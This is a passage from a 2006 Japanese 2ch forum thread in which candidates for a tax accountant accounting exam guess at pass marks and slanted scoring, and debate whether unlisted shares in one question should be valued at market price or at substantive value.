937 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:27:15 ID:???
全統上位とかのやつが60↑っていっても、そもそも上位者全員が60以上取れてるとは限らないし、上位者自体もともと人数少なめだから
ボーダーは50~60くらいの間じゃねぇ?上位より下位の奴等だってたくさん受けてるんだから、50点下回ってない限りはまだ希望あると思うけどな

50下回ったやつは危険だと思うが

938 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:30:20 ID:???
>>935
歴史的事実に鑑みてその配点はありえないな。

939 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:31:30 ID:???
>934
いや結構現実的だと思うんだが。
去年、一昨年、その前年のボーダーと比較してザッと言ってみた

940 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:37:11 ID:???
今年は書き込み少ないね
意外とみんなできてないんかな?
自己採点しやすいし

941 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:39:10 ID:???
>>933>>939は明らかにエヌ村ww
おかえりマーボww


942 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:39:31 ID:???
3問目も答える箇所明記されてるんだ?
一昨年なんて清算表まで作らせてたのに偉い親切になったな。

943 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:41:13 ID:???
明日午後5時頃の大原速報後祭りの予感

944 :去年いた某スーパーハッカーw:2006/08/02(水) 22:43:43 ID:???
<dt>884 :<a href="mailto:sage"><b>TAC生 </b></a>:2006/08/02(水) 20:37:12 ID:???<dd>
理論厳しかったね <br>
<br> 問1 <br> TAの課税関係 <br>  1総合課税 <br>  2源泉分
離課税(私募公社債等運用投資信託等の意義込み) <br>  3申告不要(@5万うんぬんA
上場、公募証券投資信託、特定投資法人口 の意義込み) <br> UBの課税総所得関係
<br>  T2とT3の場合 <br>   Aの所得が0円なので、雑損控除と配偶者控除と障害者
控除の理論を端折って書いた <br>  T1の場合 <br>   Aの所得の段階により配偶者特
別控除(Bの所得が1000万円以下の限定) <br>   Aの所得が38万円以下なら配偶者
控除と障害者控除、課税標準の合計が基礎控除以下なら雑損控除 <br> <br> 問2 <br>
 1還付等を受けるための申告書 <br>  2確定所得申告所 <br>  3相違点 提出期限
ありなし、申告義務ありなし <br>  4出国と死亡の場合の還付等を受けるための申告書
<br> <br> TAC生はこれがマックスだよ。 <br> 大原生は死亡出国の還付等を濃く書け
ただろうが、逆に問1の課税関係で <br> 総合課税の理論の柱が理マスになかったり、
還付等を受けるための申告書の柱そのものはノーマークだったり、 <br> TAC大原ともそ
う差がつくもんじゃねえと思う <br> それにしても3年前に出した申告関係をまた出すかね
え。 <br><br>
</dl>




あらまぁ コテ変えてもクセはそのままだねぇwwww

まぁ何はともあれ遠征おつかれさま。ゆっくり休んでね。
新幹線ご利用ありがとう。


945 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:51:29 ID:???
お前はコテの半端だろ?W

946 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 23:09:12 ID:qqzmJy6n
平均点60なら傾斜配点する必要無いな

947 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 23:13:27 ID:???
>>946
あるよ。平均が60だと、半分ぐらいの人が受かることになる。
難しいところに高配点だな。

948 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 23:32:14 ID:???
>>947

ねぇねぇ、傾斜配点ってさ

「簡単なみんなが取れる所に高配点」じゃなくて、
「難しい上級者が取れる所に高配点」になる場合もあるの?


949 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 23:40:12 ID:qqzmJy6n
みんなが取れるところに高配点だとみんな合格になるだろ?

950 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 23:41:31 ID:???
えっ、でも今回の第2問で言えばさ

長期請負はみんなが取れてるから配点高くて、
売価還元はみんな取れてないから配点低いって言ってたのは何?

951 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 23:53:57 ID:???
>>950
第1問と第3問が去年より易化したらしいので、第2問は傾斜しないかもしれないね。
それでちょうどいい感じに上位10%が60点になるなら

952 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 23:59:53 ID:???
解き方セミナーで元試験委員の話があって
受験番号早い順から数百人のサンプルを取って
それで正答率を出して傾斜配点するって話もありましたよ

953 :???:2006/08/03(木) 00:01:21 ID:???
今年落ちたら脱退する・・・。独学で主婦の私だけど多分60〜62点はあります。
(まだ解き直してないけど)
明日の情報みないとわからないけどね。
でもなぜこんなに第3問の解答が割れているの??
怖くて調べられない・・・。ちょっと自信あったのに・・・。

954 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 00:04:20 ID:ode6JElP
http://www.infocart.jp/af.php?af=yonetin&url=www.ni-3.com/noryokukaika.htm&item=1871

受験突破・資格取得もう怖くない!
『100戦100勝!潜在能力を引き出す無敵の秘策』

あなたはまだ無駄な努力を続けますか?
努力するなら最短コースを行きましょう。


955 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 00:15:18 ID:???
初受験〜2回目でそれだけ取れてるんなら、
たとえ落ちたとしても諦めない方が良いかと思います。

次回は、きっと合格出来ますから



956 :???:2006/08/03(木) 00:29:48 ID:???
ありがとうございます!!子持ちの就職は厳しいから、頑張ります!!
ただし、来年はもっと投資しようかと後悔しています。

957 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 00:32:22 ID:kQvtJ3Pv
受かる奴は2回で受かってますよ

958 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 00:46:13 ID:3j2adjCM
冷静に第三問はABKLMOSと25は正答率が低いと思うから、配点はあまり置かれないと思う。
残りで勝負になるんじゃないかな?と思います。ってか思いたい・・・



959 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 00:49:28 ID:???
第三問に関してはどう見ても2点*25できっちやるでしょ

960 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 01:18:26 ID:z4FXqKLr
今年は、解答箇所が例年より明らかに少ない。特に第3問は、PL/BSで後TB
の場合の半分ぐらい。つまり、傾斜するだろうけど、解答箇所が少ない分
例年より傾斜しずらくなるのは、当然。
傾斜による影響は例年より少ないから、通常配点(1問2点かな?)による
自己採点でほぼ合否は読めると思うのだが。

961 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 01:31:11 ID:???
今年に限っては全体的に傾斜配点による点数アップはまったく期待できないかもしれないよ。
むしろ従来の傾斜配点の不公平さをなくすため解答項目を減らしたんだと思う。

つまり、今までは精算表等、解答箇所が多い問題だったからこそ
受験生の多くが解答している部分に配点を与える必要があったわけだから。


962 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 01:32:23 ID:???
今回は専門学校の予想配点通りになる可能性が大きい

963 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 03:38:29 ID:???
おまいらあまりおれをガクブルさせないでくれ!!!!

964 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 06:14:50 ID:???
http://school5.2ch.net/test/read.cgi/exam/1154393665/43の書き込みがあって気になって
Oのテキストを確認したら評価差額300は違うみたい。。

B株式は非上場だから表では「実質価額」として1株当たりを適用している。
減損処理には、テキストでいう(2)時下のない株式の減損処理を適用して
「当該株式の【実質価額】が著しく低下したときは」(O上級P186)で
減損処理するのはOK。24000円が9600円に。で「以後、付け替え後の帳簿価額を
基に、保有目的区分に応じた会計処理を行う」(O上級P186)

で、当期。その他有価証券の期末評価は「【時価】をもって貸借対照表価額とし」
(O上級P179)とあって「実質価額」を適用するとの記載は一切ない。
さらに「時価のない有価証券については、取得原価または償却原価をもって
貸借対照表価額とする」(O上級P186)とある。
B株式が「実質価額」を用いるその他有価証券であり、「時価」を用いて
ないので、9600円のまま。12000円にはしない。

「非上場株式」で証券市場が有る無しの議論はあるけど、出題者の意図は
「時価」と「実質価額」での意味の違いと、それによるその他有価証券の
微妙に異なる処理を求めたのでないでしょうか。

テキストレベルでは、そんな感じです。
評価差額は1740。投資有価証券は72911。

ちなみに俺もこれで両問不正解・・ORZ

965 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 06:43:02 ID:???
あれ?でもC株式に「時価のある」とあって
A株式・B株式には時価うんぬんの記載が
ないし、上場=時価は間違いないけど
非上場=実質価額ってのは
確定したわけではないのか?
ん〜、よくわからなくなってきた。
大原速報待ちだな・・。

966 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 07:22:48 ID:???
連投すいません。
よくOのテキストを読んだら
「時価の定義」
「時価とは公正な評価額をいい、市場において形成されている取引価格、
気配または指標その他の相場(以下、「市場価格」という。)に基づく
価額をいう。市場価格がない場合には合理的に算定された価額を公正な
評価額とする。」(O上級P172)
とあるので非上場株式が上の定義にてらしてどうジャッジするか。
上の定義だと実質価額≒時価ととらえれるのかな。。
結局3日前の議論に戻りました。。

967 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 08:01:45 ID:???
その時価の定義書いた者だけど、
合理的に算定された・・・以降の定義は、固定資産や棚卸資産などの
事業用資産の場合を意図していると思われる。
有価証券の場合には、証券市場での価格、いわゆる市場価格だけが時価になるかと。
でないと、時価のない株式についての減損の規程が矛盾する。
あの文言によれば、実質価額は時価に含まれていないんだから。まぁ、俺も皆と同じで300と書いたよ。

968 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 08:13:15 ID:???
簿記論のボーダーってどれくらいだとおもう?

969 :リーチ ◆.aAQAotUq2 :2006/08/03(木) 08:28:27 ID:???
Bは評価替えしないんだな・・・。
俺、間違えたよ。次ページ記載ってとこが憎い。

受験生の手応えに全く反し、今回はやっぱりボーダー低いと思う。
去年の第3問なんて、あれだけ解答欄あって8箇所正解でOKだったんだし。
ボーダー44点と予想。

970 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 08:58:28 ID:???
いま問題用紙が手元にないからはっきりしたこといえないんだけど、
繰延税金負債は無かったか?
この科目があるなら当然B株も時価評価するはずだが。

971 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:02:56 ID:???
確認した。無い!!!確定。゚(゚´Д`゚)゚。

972 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:07:25 ID:???
ガチョーン!
しかし一体どれだけの人が気づいたんだろう…
こんなのに気づいた奴は当然相当できる奴だろうから合否にあまり関係せんとおもうけど
ああ半年実効税率に気づいたのにアドバンテージは受取利息だけかよっ


973 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:09:46 ID:???
いや、まだだ!!DATと相殺したのかもしれない(無理かw

974 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:10:25 ID:???
いや・・繰延税金負債がなくても、相殺表示するものと思ったやつが大半じゃないか・・・

975 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:10:48 ID:???
DTAだった…。
会計士組は気がついただろうなぁ。
税理士組も、答練上位者なら…

976 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:11:23 ID:QQuyJEV2
どっちも正解でしょ。Bは公正な時価が存在するともとれるし、時価がなくて実質価額ともとれる。非上場でも現に時価が存在するものがある以上、間違いとはできないでしょう。

977 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:11:52 ID:???
>>非上場でも現に時価が存在するものがある
これマジすか?どこで売るの?

978 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:13:59 ID:QQuyJEV2
グリーンシートで検索しる!

979 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:19:51 ID:???
ググったら
>> 証券取引法に定められる有価証券市場ではありません が、
>>未上場企業の株式の売買および公募増資への申込みを証券会社を通じて行うことができます。

と出てきたけど…

980 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:21:41 ID:???
ってかB株式の評価を間違っても、ほとんど皆が間違ってるんだから影響しないんじゃない?
そのかわり減価償却やら簡単な部分ミスってるひとは致命的だと思う

981 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:25:48 ID:QQuyJEV2
だから、非上場でも時価が存在するんだよ!前の方のレスにあったと思うけど、日本証券業協会のHPに時価が載ってるよ。問題で時価なしと明示していない以上、どちらを選択しても正解。ただ、出題者の意図は、明らかに時価なしだと思うが…

982 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:28:13 ID:???
>>980
上位は間違ってねえよwwwwwwww
主観のみで測る典型的なヴァカwwwwwwwwwwww

983 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:34:13 ID:???
C株式の資料見てると、時価のある〜とか書いてるけど、これはどうなんだろうか。関係ないのかな

984 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:34:23 ID:???
講座案内
マ━━(゚∀゚)━(゚∀)━( ゚)━( )━(゚ )━(∀゚)━(゚∀゚)━━ダ???


985 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:47:58 ID:???
>>981
時価評価しちゃった俺たちとしては、審議会に質問メール送るしかないなあ
複数人から問い合わせがあれば何かしら検討するだろう
間違いなら間違いで受け入れるけど、投資有価証券と評価差額で減点4は痛すぎ


986 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:52:47 ID:???
よく考えると、繰延税金資産も影響してるな。
繰延税金負債が無い以上、B株を時価評価したら繰延税金資産と相殺しないといけない


987 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 09:55:10 ID:???
「時価のない有価証券(取得原価で評価すべきもの)」について、
金融商品実務指針63項で次のとおり定義されているらしいぞ。

「市場で売買されない株式について、たとえ何らかの方式により価額の算定が可能としても、
それを時価(合理的に算定された価額)とはしないものとし、
当該株式は時価のない有価証券として扱う。」

俺も減点4だ orz

988 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:01:07 ID:???
やっぱり、証取法に規定されている証券市場における市場価格じゃないとだめなんでしょ。
やっぱダメじゃんw

989 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:02:24 ID:???
>>967

990 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:25:13 ID:QQuyJEV2
おまいら、諦めるなよ。63項は『市場』価格が存在する場合のみ時価のある有価証券とすると書いている。
ここに『市場』とは、48項により、『取引所』に上場、店頭により取引されている等を意味する。よって、B株式が非上場でも、店頭取引である可能性を否定できない以上、時価評価しても正解!

991 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:30:18 ID:???
店頭によりキタ━━━━━(゚(゚∀(゚∀゚(☆∀

うれしいっすwww

992 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:31:41 ID:???
ということは、表にあるB株の価格は
実質価額じゃなく時価であると解釈できるわけですね?やったぁw

993 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:51:32 ID:???
マイナス思考な俺は間違えたものとして考える。

もともと「投資有価証券」の金額が償却原価法の端数の関係でズレており
間違えとしてカウントしていたから、新たなミスとしては…

「評価差額金」と「繰延税金資産」で-4点か…

52点予想だったから48点…

落としたかもしれんな…
こりゃまいったな。

非上場の説明には気付いていたんだが、
市場価格以外で客観的に判断可能な評価額がわかれば
それを使って評価しても構わないのでは?
と判断しちまった…



994 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:52:17 ID:???
おいおい

もしB株が店頭だったら1株当たりの時価または実質価額なんて言い回しにならないだろ。
1株当たりの時価
1株当たりの市場価格
1株当たりの取引価格(気配値を含む)
という表現になるのでは?

995 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:55:44 ID:???
とりあえず文句言いまくって没問にしちまおうぜ!

996 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 10:56:50 ID:???
国税審議会に質問メールした
おまいらも汁

997 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 11:00:15 ID:???
もう、こうなったら…


このスレで1000取った奴が

「1000GETなら投資有価証券関連の問題は、別解で両方正解になるから影響なし!!!」

と祈る他あるまい…


998 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 11:01:15 ID:???
998

999 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 11:01:30 ID:QQuyJEV2
だから問題不備で、タブル解答なんだって!

1000 :一般に公正妥当と認められた名無しさん:2006/08/03(木) 11:03:13 ID:QQuyJEV2
1000

1001 :1001:Over 1000 Thread


−−−−−申し込み受付終了−−−−−
このスレッドの申し込みは1000を超えました。
以後は次のスレッドにてお申し込み下さい。
皆さんの努力が報われますように。

┏━━━━━━━━━┓
┃ 200X年度 XX試験  ┃
┃ 第774号 モナー.  .┃
┃ ┌──────┐ ┃
┃ │   ∩_∩   | ┃     会計全般試験@2ch掲示板
┃ │  ( ´∀` )  | ┃     http://school5.2ch.net/exam/ 
┃ │   (     . ). | ┃
┃ └──────┘ ┃
┗━━━━━━━━━┛



212 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)